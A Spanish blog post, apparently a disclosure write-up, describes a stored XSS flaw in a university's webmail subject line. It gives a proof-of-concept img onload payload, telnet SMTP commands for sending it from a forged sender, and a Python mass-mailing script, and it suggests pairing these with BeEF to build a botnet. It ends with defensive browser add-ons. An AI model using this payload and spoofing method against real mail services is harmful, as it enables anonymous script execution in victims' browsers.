Los peligros de un XSS - Un ejemplo universitario: Ronda final

Tercera y (espero) última entrega de "Los peligros de un XSS - Un ejemplo universitario".

Recapitulemos:Como vimos en episodios anteriores, existía una vulnerabilidad XSS en el sistema de mensajería interna de la universidad mediante el cual se podían ejecutar código Javascript en el navegador de quien recibiera y abriera el mensaje. Este "pequeño" fallo fue corregido de forma parcial limitando el uso de las etiquetas <script></script>, pero durante los hechos del segundo capítulo se comprobó que esta medida era insuficiente y gracias a la ayuda de un Cheat Sheet se conseguía saltar el sistema de filtrado.Una vez rememorados los mejores momentos de los anteriores capítulos veamos que aventuras nos ofrece el cierre de la trilogía. En la universidad además del sistema de mensajería interno, existe un correo asociado a cada usuario utilizado por todos varias veces al día. A dicho correo (a no ser que sea redirigido) se le puede acceder por dos interfaces web, una clásica (segura)  y otra mas nueva (MUERTE!!) no tan fiable.Estando ya en situación, imaginemos que existiera, como en anteriores ocasiones una vulnerabilidad XSS a la hora de leer un correo, esto sería mucho más peligroso (más adelante veremos los motivos) debido entre otras cosas al mayor uso que tiene este servicio respecto al otro. Pero NO, el problema no está ahí (por desgracia), la cosa es mucho mas sería ya que es el asunto del correo electrónico el que permite ejecutar Javascript, con lo que basta con cargar la interfaz, que compruebe nuevos correos y BUM!!! se ejecuta cualquier cosa que haya en el asunto:

En esta bonita interfaz, mandamos un correo a nuestro nombre al desafortunado destinatario. Como hemos dicho en el asunto escribiríamos algo como:

<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">

asumiendo siempre que queremos ejecutar un alert ;)Nota: El significado de esta sentencia esta explicado en la entrega anterior.El desafortunado receptor, al abrir su bandeja y recibir el correo, verá impotente como su navegador muestra una ventana con (siguiendo el ejemplo) un 2 (además de mostrar al sensual David Hasselhoff ;)).

Para un atacante, en anteriores casos, tenia que apropiarse de una cuenta ajena para salir bien parado de un ataque de este tipo, pero ahora, además de ser mas peligroso, existe la posibilidad de conectarse al servidor SMTP del correo y mandar mensajes de forma totalmente anónima (por este motivo es más peligroso que los anteriores).Para hacer tal tarea tendrá que seguir una serie de pasos:

telnet IP 25

una vez haya establecido la conexión:

MAIL FROM: emisor@dominio

dónde caca@dominio es el falso emisor.

RCPT TO: receptor@dominio

y  receptor@dominio es el receptor del mensaje (debe de ser auténtico).

DATA

es el cuerpo del mensaje y donde escribiremos el código Javascript de la siguiente forma:

Subject: <img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">

sabiendo que Subject es el asunto del mensaje.Para finalizar se escribe un punto:

.

 y ya podemos cerrar la conexión con:

QUIT

Esto da la posibilidad a ataques anónimos.

Si todo esto no es suficiente peligroso, añadamos un script con un bucle para que enviara un correo a X personas y si se juntase con BeEF (como se vio en el post anterior) se podría montar una bootnet de grandes dimensiones.El script podrías ser una modificación de este:

#!/usr/bin/env pythonimport telnetlibservidor = "IP"asunto = '<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">'t = telnetlib.Telnet(servidor, 25)t.read_some()t.read_some()t.write("MAIL FROM: emisor@dominio")t.write("\n")t.read_some()t.write("RCPT TO: receptor@dominio")t.write("\n")t.read_some()t.write("DATA")t.write("\n")t.read_some()t.write('Subject: ' + asunto)t.write("\n")t.write(".")t.write("\n")t.read_some()t.read_some()t.close()

Este script con algunas pequeñas modificaciones junto con alguien con oscuras intenciones podría llegar a ser muy peligroso, con lo que cerraremos el post con un par de complementos para nuestro navegador que ayudarán a prevenir este tipo de ataques:

[+] Google Chrome / Chromium      [-] ScriptNo: Permite decidir que códigos Javascript se ejecutan en nuestro navegador y cuales no.[-] FlashBlock: Igual que el anterior pero referido a flash.[+] Firefox / Iceweasel    [-] NoScript:  Permite decidir que códigos Javascript se ejecutan en nuestro navegador y cuales no.[-] Flashblock: Igual que el anterior pero referido a flash.

Y con este par de recomendaciones, concluimos la trilogía, nos leemos en breve ;)Nota I: Información de SOGo =>  http://www.sogo.nu/about/overview.htmlNota II: Python y Telnet =>  http://docs.python.org/2/library/telnetlib.html